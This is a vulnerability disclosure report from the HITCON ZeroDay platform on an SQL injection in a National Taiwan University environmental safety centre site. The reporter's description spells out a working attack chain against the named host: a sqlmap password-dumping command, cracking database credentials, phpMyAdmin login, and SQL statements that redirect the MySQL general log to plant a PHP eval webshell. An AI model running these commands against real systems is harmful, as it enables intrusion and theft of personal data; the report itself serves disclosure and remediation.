Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2022-00762
- Vendor: 國立臺灣大學環境保護暨職業安全衛生中心
- Title: 入侵國立臺灣大學環境保護暨職業安全衛生中心伺服器
- Introduction: SQL注入
處理狀態
目前狀態
公開
Last Update : 2022/11/18
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2022/09/18 00:01:11 : 新提交 (由 失眠鋒ISSAC 更新此狀態)
- 2022/09/18 00:04:18 : 新提交 (由 失眠鋒ISSAC 更新此狀態)
- 2022/09/18 00:08:26 : 新提交 (由 失眠鋒ISSAC 更新此狀態)
- 2022/09/18 00:11:00 : 新提交 (由 失眠鋒ISSAC 更新此狀態)
- 2022/09/18 00:12:06 : 新提交 (由 失眠鋒ISSAC 更新此狀態)
- 2022/09/18 00:13:16 : 新提交 (由 失眠鋒ISSAC 更新此狀態)
- 2022/09/18 00:15:26 : 新提交 (由 失眠鋒ISSAC 更新此狀態)
- 2022/09/19 10:57:47 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2022/09/20 15:14:11 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2022/09/20 15:14:11 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2022/09/20 15:14:11 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2022/11/18 03:00:02 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2022-00762
- 通報者:ISSAC_f0ng (失眠鋒ISSAC)
- 風險:嚴重
- 類型:資料庫注入攻擊 (SQL Injection)
參考資料
攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
https://esh.ntu.edu.tw/epc/shownews.php?id=425
敘述
官網
https://esh.ntu.edu.tw
存在SQL注入
sqlmap.py -u https://esh.ntu.edu.tw/epc/shownews.php?id=425 --random-agent --passwords
取得mysql密碼密文,破解後得明文, 發現網站用的是phpmyadmin
登入地址
https://esh.ntu.edu.tw/phpmyadmin/index.php
直接成功登入數據庫
接下來是getshell
兩種方法: 1.找出後台密碼 2.phpmyadmin寫入webshell
數據庫內容很多, 找密碼有點麻煩, 這邊就用第二種方法
phpmyadmin寫shell一般有兩種方法, select into outfile和日志寫shell
網站用的是IIS10, 404報錯直接爆出路徑
D:\epc_wwwroot\epc\
先測試一下,SQL語句
select '<?php phpinfo();?>' into outfile 'D:/epc_wwwroot/epc/hereisthetest.php'
寫入失敗,執行以下語句
show variables like "secure_file_priv";
其值為NULL, 這代表禁止寫入
我們用第二種方法,方法的原理就是phpmyadmin會紀錄執行的指令到.log文件,
如果這時候.log文件改為.php就會執行php語句。
show variables like 'general%'
發現是OFF的, 同時也得到了日志的保存路徑 (這個很重要!!!不然等一下忘記了會改不會來!!!)
set global general_log = "ON";
set global general_log_file='D:/epc_wwwroot/epc/hereisthetest.php';
select '<?php eval($_POST[cmd]);?>';
成功getshell
目標不出網, 而且也有防毒, 偷懶不做免殺木馬, 權限也不足, 不做內網滲透了。
聲名:本人無惡意,為政府, 學校, 企業等網站進行測試只為了找出漏洞然後通報,希望達到加強網站安全的目的,避免被其他有心人士的利用,並在過程中不斷學習。截圖後圖片已經全部刪除, 木馬(webshell)已刪除, 日志已經修正回來,無下載任何數據, 如圖片有任何敏感數據請馬上通知。
謝謝。
修補建議
安裝WAF, 加強防護, 改更複雜的密碼。
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。